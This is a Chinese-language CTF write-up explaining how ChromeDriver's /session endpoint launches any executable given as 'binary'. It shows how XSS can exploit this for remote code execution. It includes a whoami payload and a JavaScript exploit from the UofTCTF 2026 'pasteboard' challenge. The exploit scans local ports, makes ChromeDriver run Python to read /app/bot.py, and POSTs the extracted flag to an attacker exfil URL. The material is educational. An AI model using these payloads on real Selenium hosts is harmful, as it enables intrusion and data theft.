Selenium ChromeDriver

Web 安全 发布于 16 天前 最后更新于 16 天前


ChromeDriver

Selenium 是一个浏览器自动化框架。

浏览器没有统一的控制接口,每个浏览器内部实现不同。Selenium 通过 WebDriver 协议与 Driver 通信,Drive 把 WebDriver 标准协议翻译成各浏览器的私有协议。

不同浏览器的 Driver:

Python
Selenium ──> ChromeDriver  ──> Chrome
         ──> GeckoDriver   ──> Firefox  
         ──> EdgeDriver    ──> Edge
         ──> SafariDriver  ──> Safari
Python

当 Selenium 启动 Chrome 时,会先启动 ChromeDriver 进程,它是一个 HTTP 服务器,监听在本地随机端口(通常在 32768-61000 范围)。

ChromeDriver 的 /session 端点用于创建新的浏览器会话,接受 JSON 配置:

JSON
{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "chrome",
      "goog:chromeOptions": {
        "binary": "",
        "args": []
      }
    }
  }
}
JSON
  • binary: 指定要启动的可执行文件路径
  • args: 传递给该可执行文件的命令行参数

攻击实现

ChromeDriver 不验证 binary 是否真的是 Chrome 浏览器,攻击者可以指定任意可执行文件。

JSON
{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "chrome",
      "goog:chromeOptions": {
        "binary": "/usr/local/bin/python",
        "args": ["-c", "import os; os.system('whoami')"]
      }
    }
  }
}
JSON

Selenium ChromeDriver 可以配合 XSS 实现 RCE,ChromeDriver 每次启动时绑定随机端口,通过暴力扫描获取端口号。

以 UoftCTF2026 中 pasteboard 一题为例:

JavaScript
def payload():
    js = r'''
    let options = {
    method: "POST",
    mode: "no-cors",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
        capabilities: {
        alwaysMatch: {
            browserName: "chrome",
            "goog:chromeOptions": {
            binary: "/usr/local/bin/python",
            args: [`-cimport re,urllib.request,urllib.parse;urllib.request.urlopen(urllib.request.Request("<EXFIL>",urllib.parse.urlencode({"flag":re.search(r"uoftctf\{[^}]+\}",open("/app/bot.py").read()).group(0)}).encode()))`],
            },
        },
        },
    }),
    };
    for(let port = 32768; port < 61000; port++) {
    fetch(`http://127.0.0.1:${port}/session`, options);
    }

    '''.replace("<EXFIL>", f"{EXFIL_BASE_URL}/exfil") return Response(js, mimetype='application/javascript')
JavaScript

实现了读取 /app/bot.py 文件内容,用正则 uoftctf\{[^}]+\} 提取 flag,将 flag 通过 HTTP POST 发送到监听机。